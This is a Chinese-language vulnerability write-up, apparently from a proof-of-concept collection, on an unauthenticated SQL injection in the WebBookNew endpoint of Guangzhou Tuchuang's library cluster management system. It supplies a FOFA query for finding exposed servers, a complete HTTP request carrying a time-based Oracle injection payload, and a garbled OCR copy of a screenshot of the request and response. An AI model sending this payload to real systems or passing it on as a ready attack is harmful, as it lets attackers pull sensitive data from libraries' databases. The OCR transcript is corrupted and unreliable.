G2-1广州图创-图书馆集群管理系统-SOL

漏洞描述:

由于广州图创图书馆集群管理系统 WebBookNew 接口处未对用户输入的SOL语句进行过滤或验证导致出现SOL注入漏洞,未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

网站图片:



网络测绘:

fofa语法:

FOFA: body="/interlib/common/"

漏洞复现:

payload:

GET /interlib/websearch/WebBookNew?cmdACT=search_BookNew&showpage=1&filter=1+AND+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN, zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1

效果图: 延时5秒

```
→ / 5207ms
                                                                                                       く 〉 数据包扫描 熱加載 构造
                                                                                                                                                                                                                                                                   美化 请输入定位响应
                                                                                                                                                                                                                                                                                                             Q g
                                                                                                                                                                                       HTTP/1.1-200-0X
Server: Apache-Coyote/1.1
Content-Security-Policy: frame-ancestors 'self'
x-frame-options: SAMFORIGIN
Cache-Control: no-cache
1 GET /interlib/websearch/WebBookNew?cmdACT-search_BookNew&ch
RECEIVE_MESSAGE('RDS ,,) HTTP/1.1
                                                                                                         page=1&Tllter=1+AND+1=DBMS_PIPE.
         Host:
User-Agent: Mozilla/5.0 (Windows NT·10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like-Gecko) Chrome/
96.0.4664,93-Safari/537.36
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
                                                                                                                                                                                       Pragma: no-cache
Expires: Thu, 01-Jan-1970-00:00:00-GMT
Set-Cookse: JSESSIONID-E764E768C1E18DE48AE801631D8B13F1; Path=/interlib; HttpOnly
Content-Type: text/xml; charset=UTF-8
Date: Mon, 04-Man-2024-09:46:33-GMT
Connection: close
Content-Length: 5697
         Accept: text/ntml,application/xhtml+xml,appli
q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
                                                                                                                                                                                      <?xml-version='1.0' '?>
<?xml-stylesheet-href-"message.xsl"-type="text/xsl"?>
                                                                                                                                                                              26 ∨ <parentColumnInfo>
27 <id>>2</id>
                                                                                                                                                                                        <id>>2</id>
<id>>2</id>
<name>书目分类</name
<supperlink>../webse
                                                                                                                                                                                                                  ebsearch/WebBookNew?cmdACT=bookCategory&amp:columnTD=2</supperlink>
```